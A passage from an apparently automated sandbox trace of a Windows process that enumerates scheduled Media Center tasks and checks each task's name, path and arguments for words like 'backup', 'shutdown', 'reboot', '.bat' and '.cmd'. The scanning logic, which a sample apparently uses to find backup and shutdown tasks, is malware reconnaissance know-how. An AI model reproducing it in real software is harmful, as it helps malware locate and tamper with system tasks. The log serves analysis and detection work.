_SubStr="backup") returned 0x0 [0150.770] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0150.770] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2860) returned 1 [0150.770] IExecAction:get_Arguments (in: This=0x47fd00, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-PvrRecoveryTask") returned 0x0 [0150.770] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x22) returned 0x6c88f8 [0150.770] wcsstr (_Str="-pvrrecoverytask", _SubStr="reboot") returned 0x0 [0150.770] wcsstr (_Str="-pvrrecoverytask", _SubStr="restart") returned 0x0 [0150.770] wcsstr (_Str="-pvrrecoverytask", _SubStr="shutdown") returned 0x0 [0150.770] wcsstr (_Str="-pvrrecoverytask", _SubStr="logoff") returned 0x0 [0150.770] wcsstr (_Str="-pvrrecoverytask", _SubStr=".bat") returned 0x0 [0150.770] wcsstr (_Str="-pvrrecoverytask", _SubStr="backup") returned 0x0 [0150.770] wcsstr (_Str="-pvrrecoverytask", _SubStr=".cmd") returned 0x0 [0150.770] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0150.770] IUnknown:Release (This=0x47fd00) returned 0x2 [0150.770] IUnknown:Release (This=0x47fd00) returned 0x1 [0150.770] IActionCollection:get_Item (in: This=0x47fac8, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd40) returned 0x0 [0150.770] IAction:get_Type (in: This=0x47fd40, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0150.770] IUnknown:Release (This=0x47fd40) returned 0x1 [0150.770] IUnknown:Release (This=0x47fac8) returned 0x1 [0150.770] IUnknown:Release (This=0x47fa50) returned 0x0 [0150.770] IUnknown:Release (This=0x2460a00) returned 0x0 [0150.770] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0150.770] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PvrScheduleTask") returned 0x0 [0150.770] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0150.772] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6e5e48 [0150.772] wcsstr (_Str="pvrscheduletask", _SubStr="reboot") returned 0x0 [0150.772] wcsstr (_Str="pvrscheduletask", _SubStr="restart") returned 0x0 [0150.772] wcsstr (_Str="pvrscheduletask", _SubStr="shutdown") returned 0x0 [0150.772] wcsstr (_Str="pvrscheduletask", _SubStr="logoff") returned 0x0 [0150.772] wcsstr (_Str="pvrscheduletask", _SubStr=".bat") returned 0x0 [0150.772] wcsstr (_Str="pvrscheduletask", _SubStr="backup") returned 0x0 [0150.772] wcsstr (_Str="pvrscheduletask", _SubStr=".cmd") returned 0x0 [0150.772] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5e48) returned 1 [0150.772] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0150.777] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0150.777] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0150.777] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd00) returned 0x0 [0150.777] IAction:get_Type (in: This=0x47fd00, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0150.777] IUnknown:QueryInterface (in: This=0x47fd00, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd00) returned 0x0 [0150.777] IExecAction:get_Path (in: This=0x47fd00, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0150.777] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2860 [0150.777] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0150.777] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0150.778] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0150.778] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0150.778] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0150.778] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0150.778] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0150.778] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2860) returned 1 [0150.778] IExecAction:get_Arguments (in: This=0x47fd00, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-PvrSchedule") returned 0x0 [0150.778] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e6050 [0150.778] wcsstr (_Str="-pvrschedule", _SubStr="reboot") returned 0x0 [0150.778] wcsstr (_Str="-pvrschedule", _SubStr="restart") returned 0x0 [0150.778] wcsstr (_Str="-pvrschedule", _SubStr="shutdown") returned 0x0 [0150.778] wcsstr (_Str="-pvrschedule", _SubStr="logoff") returned 0x0 [0150.778] wcsstr (_Str="-pvrschedule", _SubStr=".bat") returned 0x0 [0150.778] wcsstr (_Str="-pvrschedule", _SubStr="backup") returned 0x0 [0150.778] wcsstr (_Str="-pvrschedule", _SubStr=".cmd") returned 0x0 [0150.778] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6050) returned 1 [0150.778] IUnknown:Release (This=0x47fd00) returned 0x2 [0150.778] IUnknown:Release (This=0x47fd00) returned 0x1 [0150.778] IActionCollection:get_Item (in: This=0x47fac8, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd40) returned 0x0 [0150.778] IAction:get_Type (in: This=0x47fd40, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0150.778] IUnknown:Release (This=0x47fd40) returned 0x1 [0150.778] IUnknown:Release (This=0x47fac8) returned 0x1 [0150.778] IUnknown:Release (This=0x47fa50) returned 0x0 [0150.778] IUnknown:Release (This=0x2460a00) returned 0x0 [0150.778] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0150.778] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="RecordingRestart") returned 0x0 [0150.778] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0150.780] IUnknown:Release (This=0x2460a00) returned 0x0 [0150.780] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0150.780] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="RegisterSearch") returned 0x0 [0150.780] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0150.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1e) returned 0x6e6370 [0150.782] wcsstr (_Str="registersearch", _SubStr="reboot") returned 0x0 [0150.782] wcsstr (_Str="registersearch", _SubStr="restart") returned 0x0 [0150.782] wcsstr (_Str="registersearch", _SubStr="shutdown") returned 0x0 [0150.782] wcsstr (_Str="registersearch", _SubStr="logoff") returned 0x0 [0150.782] wcsstr (_Str="registersearch", _SubStr=".bat") returned 0x0 [0150.782] wcsstr (_Str="registersearch", _SubStr="backup") returned 0x0 [0150.782] wcsstr (_Str="registersearch", _SubStr=".cmd") returned 0x0 [0150.782] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6370) returned 1 [0150.782] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0150.786] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0150.786] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0150.786] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd00) returned 0x0 [0150.786] IAction:get_Type (in: This=0x47fd00, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0150.786] IUnknown:QueryInterface (in: This=0x47fd00, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd00) returned 0x0 [0150.786] IExecAction:get_Path (in: This=0x47fd00, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0150.786] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0150.786] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0150.786] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0150.787] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0150.787] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0150.787] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0150.787] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0150.787] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0150.787] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0150.787] IExecAction:get_Arguments (in: This=0x47fd00, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoRegisterSearch $(Arg0)") returned 0x0 [0150.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x34) returned 0x6c9c90 [0150.787] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="reboot") returned 0x0 [0150.787] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="restart") returned 0x0 [0150.787] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="shutdown") returned 0x0 [0150.787] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="logoff") returned 0x0 [0150.787] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr=".bat") returned 0x0 [0150.787] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="backup") returned 0x0 [0150.787] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr=".cmd") returned 0x0 [0150.787] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0150.787] IUnknown:Release (This=0x47fd00) returned 0x2 [0150.787] IUnknown:Release (This=0x47fd00) returned 0x1 [0150.787] IUnknown:Release (This=0x47fac8) returned 0x1 [0150.787] IUnknown:Release (This=0x47fa50) returned 0x0 [0150.787] IUnknown:Release (This=0x2460a00) returned 0x0 [0150.787] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0150.787] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ReindexSearchRoot") returned 0x0 [0150.787] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0151.806] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x24) returned 0x6c88f8 [0151.806] wcsstr (_Str="reindexsearchroot", _SubStr="reboot") returned 0x0 [0151.806] wcsstr (_Str="reindexsearchroot", _SubStr="restart") returned 0x0 [0151.806] wcsstr (_Str="reindexsearchroot", _SubStr="shutdown") returned 0x0 [0151.806] wcsstr (_Str="reindexsearchroot", _SubStr="logoff") returned 0x0 [0151.806] wcsstr (_Str="reindexsearchroot", _SubStr=".bat") returned 0x0 [0151.806] wcsstr (_Str="reindexsearchroot", _SubStr="backup") returned 0x0 [0151.806] wcsstr (_Str="reindexsearchroot", _SubStr=".cmd") returned 0x0 [0151.806] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0151.806] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0151.811] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0151.811] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0151.811] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd00) returned 0x0 [0151.811] IAction:get_Type (in: This=0x47fd00, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0151.811] IUnknown:QueryInterface (in: This=0x47fd00, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd00) returned 0x0 [0151.811] IExecAction:get_Path (in: This=0x47fd00, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0151.811] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0151.811] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0151.811] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0151.811] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0151.811] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0151.811] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0151.811] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0151.811] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0151.811] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0151.811] IExecAction:get_Arguments (in: This=0x47fd00, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoReindexSearchRoot") returned 0x0 [0151.812] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2a) returned 0x6caad0 [0151.812] wcsstr (_Str="/doreindexsearchroot", _SubStr="reboot") returned 0x0 [0151.812] wcsstr (_Str="/doreindexsearchroot", _SubStr="restart") returned 0x0 [0151.812] wcsstr (_Str="/doreindexsearchroot", _SubStr="shutdown") returned 0x0 [0151.812] wcsstr (_Str="/doreindexsearchroot", _SubStr="logoff") returned 0x0 [0151.812] wcsstr (_Str="/doreindexsearchroot", _SubStr=".bat") returned 0x0 [0151.812] wcsstr (_Str="/doreindexsearchroot", _SubStr="backup") returned 0x0 [0151.812] wcsstr (_Str="/doreindexsearchroot", _SubStr=".cmd") returned 0x0 [0151.812] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6caad0) returned 1 [0151.812] IUnknown:Release (This=0x47fd00) returned 0x2 [0151.812] IUnknown:Release (This=0x47fd00) returned 0x1 [0151.812] IUnknown:Release (This=0x47fac8) returned 0x1 [0151.812] IUnknown:Release (This=0x47fa50) returned 0x0 [0151.812] IUnknown:Release (This=0x2460a00) returned 0x0 [0151.812] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x14, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0151.812] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SqlLiteRecoveryTask") returned 0x0 [0151.812] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0151.813] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x28) returned 0x6c88f8 [0151.814] wcsstr (_Str="sqlliterecoverytask", _SubStr="reboot") returned 0x0 [0151.814] wcsstr (_Str="sqlliterecoverytask", _SubStr="restart") returned 0x0 [0151.814] wcsstr (_Str="sqlliterecoverytask", _SubStr="shutdown") returned 0x0 [0151.814] wcsstr (_Str="sqlliterecoverytask", _SubStr="logoff") returned 0x0 [0151.814] wcsstr (_Str="sqlliterecoverytask", _SubStr=".bat") returned 0x0 [0151.814] wcsstr (_Str="sqlliterecoverytask", _SubStr="backup") returned 0x0 [0151.814] wcsstr (_Str="sqlliterecoverytask", _SubStr=".cmd") returned 0x0 [0151.814] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0151.814] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0151.819] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0151.819] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0151.819] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd00) returned 0x0 [0151.819] IAction:get_Type (in: This=0x47fd00, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0151.820] IUnknown:QueryInterface (in: This=0x47fd00, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd00) returned 0x0 [0151.820] IExecAction:get_Path (in: This=0x47fd00, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0151.820] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2860 [0151.820] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0151.820] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0151.820] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0151.820] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0151.820] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0151.820] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0151.820] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0151.820] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2860) returned 1 [0151.820] IExecAction:get_Arguments (in: This=0x47fd00, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-SqlLiteRecoveryTask") returned 0x0 [0151.820] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2a) returned 0x6caad0 [0151.820] wcsstr (_Str="-sqlliterecoverytask", _SubStr="reboot") returned 0x0 [0151.820] wcsstr (_Str="-sqlliterecoverytask", _SubStr="restart") returned 0x0 [0151.820] wcsstr (_Str="-sqlliterecoverytask", _SubStr="shutdown") returned 0x0 [0151.820] wcsstr (_Str="-sqlliterecoverytask", _SubStr="logoff") returned 0x0 [0151.820] wcsstr (_Str="-sqlliterecoverytask", _SubStr=".bat") returned 0x0 [0151.820] wcsstr (_Str="-sqlliterecoverytask", _SubStr="backup") returned 0x0 [0151.820] wcsstr (_Str="-sqlliterecoverytask", _SubStr=".cmd") returned 0x0 [0151.820] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6caad0) returned 1 [0151.820] IUnknown:Release (This=0x47fd00) returned 0x2 [0151.820] IUnknown:Release (This=0x47fd00) returned 0x1 [0151.820] IActionCollection:get_Item (in: This=0x47fac8, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd40) returned 0x0 [0151.820] IAction:get_Type (in: This=0x47fd40, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0151.820] IUnknown:Release (This=0x47fd40) returned 0x1 [0151.820] IUnknown:Release (This=0x47fac8) returned 0x1 [0151.820] IUnknown:Release (This=0x47fa50) returned 0x0 [0151.821] IUnknown:Release (This=0x2460a00) returned 0x0 [0151.821] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x15, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0151.821] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UpdateRecordPath") returned 0x0 [0151.821] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0151.822] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x22) returned 0x6c88f8 [0151.822] wcsstr (_Str="updaterecordpath", _SubStr="reboot") returned 0x0 [0151.822] wcsstr (_Str="updaterecordpath", _SubStr="restart") returned 0x0 [0151.822] wcsstr (_Str="updaterecordpath", _SubStr="shutdown") returned 0x0 [0151.822] wcsstr (_Str="updaterecordpath", _SubStr="logoff") returned 0x0 [0151.822] wcsstr (_Str="updaterecordpath", _SubStr=".bat") returned 0x0 [0151.822] wcsstr (_Str="updaterecordpath", _SubStr="backup") returned 0x0 [0151.822] wcsstr (_Str="updaterecordpath", _SubStr=".cmd") returned 0x0 [0151.822] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0151.822] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0151.827] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0151.827] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0151.827] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd00) returned 0x0 [0151.827] IAction:get_Type (in: This=0x47fd00, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0151.827] IUnknown:QueryInterface (in: This=0x47fd00, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd00) returned 0x0 [0151.827] IExecAction:get_Path (in: This=0x47fd00, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0151.827] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0151.827] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0151.827] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0151.827] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0151.827] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0151.827] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0151.827] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0151.827] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0151.827] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0151.827] IExecAction:get_Arguments (in: This=0x47fd00, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoUpdateRecordPath $(Arg0)") returned 0x0 [0151.827] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x38) returned 0x6c9c90 [0151.827] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="reboot") returned 0x0 [0151.827] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="restart") returned 0x0 [0151.827] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="shutdown") returned 0x0 [0151.827] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="logoff") returned 0x0 [0151.827] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr=".bat") returned 0x0 [0151.828] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="backup") returned 0x0 [0151.828] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr=".cmd") returned 0x0 [0151.828] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0151.828] IUnknown:Release (This=0x47fd00) returned 0x2 [0151.828] IUnknown:Release (This=0x47fd00) returned 0x1 [0151.828] IUnknown:Release (This=0x47fac8) returned 0x1 [0151.828] IUnknown:Release (This=0x47fa50) returned 0x0 [0151.828] IUnknown:Release (This=0x2460a00) returned 0x0 [0151.828] IUnknown:Release (This=0x2460978) returned 0x0 [0151.828] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2460978) returned 0x0 [0151.828] ITaskFolderCollection:get_Count (in: This=0x2460978, pCount=0x5cfa40 | out: pCount=0x5cfa40*=1) returned 0x0 [0151.828] ITaskFolderCollection:get_Item (in: This=0x2460978, index=0x5cfa1c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa44 | out: ppFolder=0x5cfa44*=0x2460180) returned 0x0 [0151.829] ITaskFolder:GetTasks (in: This=0x2460180, flags=0, ppTasks=0x5cf9e4 | out: ppTasks=0x5cf9e4*=0x2460a68) returned 0x0 [0151.829] IRegisteredTaskCollection:get_Count (in: This=0x2460a68, pCount=0x5cf9c0 | out: pCount=0x5cf9c0*=0) returned 0x0 [0151.829] IUnknown:Release (This=0x2460a68) returned 0x0 [0151.829] ITaskFolder:GetFolders (in: This=0x2460180, flags=0, ppFolders=0x5cfa20 | out: ppFolders=0x5cfa20*=0x2460a68) returned 0x0 [0151.829] ITaskFolderCollection:get_Count (in: This=0x2460a68, pCount=0x5cfa14 | out: pCount=0x5cfa14*=0) returned 0x0 [0151.829] IUnknown:Release (This=0x2460a68) returned 0x0 [0151.829] TaskScheduler:IUnknown:Release (This=0x2460180) returned 0x0 [0151.829] 